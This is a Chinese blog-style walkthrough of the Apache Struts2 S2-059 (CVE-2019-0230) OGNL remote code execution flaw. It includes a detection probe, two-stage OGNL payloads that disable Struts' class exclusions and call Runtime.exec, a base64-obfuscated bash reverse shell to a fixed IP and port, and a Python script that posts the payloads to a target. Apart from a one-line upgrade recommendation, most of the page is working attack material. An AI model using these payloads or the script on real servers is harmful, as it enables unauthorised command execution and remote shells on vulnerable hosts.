首页 > 其他分享 >S2-059 CVE-2019-0230 远程代码执行

S2-059 CVE-2019-0230 远程代码执行

时间:2023-01-12 16:13:26浏览次数:60  
标签:ognlUtil container S2 0230 代码执行 context ognl com bash

漏洞名称

S2-059 CVE-2019-0230 远程代码执行

利用条件

Struts 2.0.0 - Struts 2.5.20

漏洞原理

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

漏洞利用

漏洞检测

将id参数的值 改为%25{2*3} 发现执行的2*5成功被解析了,会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析。

image-20230112102058597

命令执行

创建文件

发送payload1

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

image-20230112110339887

发送payload2

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/huaqi.txt'))}

image-20230112112457844

反弹shell

发送payload1

%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

image-20230112110339887

反弹shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}

发送payload2

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'))}

image-20230112110351732

获取到shell

image-20230112110407697

exp脚本

将反弹shell base64编码替换exp中的shell

bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
# coding:utf-8

import requests
# 更改目标url
url = "http://192.168.56.222:8080/"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
# shell经过base64编码后放置exec中
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)

image-20230112103214388

修复建议

升级最新版

参考文章

https://www.cnblogs.com/lingzhisec/p/13917529.html

https://si1ent.xyz/2021/02/26/Struts2漏洞汇总/

标签:ognlUtil,container,S2,0230,代码执行,context,ognl,com,bash
From: https://www.cnblogs.com/crayonxiaoxin/p/17046673.html

相关文章

  • sc stream-rabbit 简化版20230112
     二、消费者【2058】    1、pom.xml        <dependency>            <groupId>org.springframework.cloud</groupId>    ......
  • laravel使用JWT签名算法,HS256和RS256有什么区别
    JWT签名算法中HS256和RS256有什么区别JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接......
  • Less23
    Less28过滤注释符的Get注入(单引号注入)Mysql注释符号注释类型符号单行注释---内容和#内容多行注释/*内容*/新注释符;%00内容审计代码:发现#......
  • windows2012通过powershell安装远程组件技巧
    概要:通过服务器管理器安装远程桌面服务会报错一直没有办法解决之后了解到安装组件可以通过power命令安装 powershell命令说明https://docs.microsoft.com/en-us/wind......
  • VS2022 17.1.6在windows10下打开winform设计器报timed out while connecting to named
    .net6.0的项目,vs202217.1.6在windows10下打开winform设计器报timedoutwhileconnectingtonamedpipe错误,同样的项目在windows7却可以打开winform设计器,很奇怪。N多......
  • 远程控制网关S274支持4路继电器
    采用GSM/GPRS/3G/4G网络通信,不受距离限制,任何地方都可使用;宽工作电压设计,支持9~36VDC供电,且带有防反接保护设计;采用本地配置软件、远程短信、APP设置参数,方便操作,简......
  • S2-052 CVE-2017-9805 远程代码执行
    漏洞名称S2-052CVE-2017-9805远程代码执行利用条件Struts2.1.6-Struts2.3.33Struts2.5-Struts2.5.12漏洞原理Struts2REST插件的XStream组件存在反序列化......
  • Hadoop生态元数据管理平台——Atlas2.3.0发布!
    大家好,我是独孤风。今天我们来聊一下另一个元数据管理平台ApacheAtlas。Atlas其实有一些年头了,是在2015年的时候就开源。相对于Datahub来说,Atlas显得有一些“老”了,社......
  • Docusaurus2搭建博客及入门使用
    ##开始上手[官方文档](https://docusaurus.io/zh-CN/docs/category/getting-started)##hexo博客转换为Docusaurus2博客hexo博客可以轻松的转换为Docusauru......
  • VS2022 Visual Assist 小番茄 设置强调色透明度
    这个估计你们找不到位置小番茄的RGBA其实是RGB~A也就是不透明度所以正常要设定为FFRRGGBB即可字体透明但是正常不可设置懒得逆向VAX代码...建议everything直接搜A......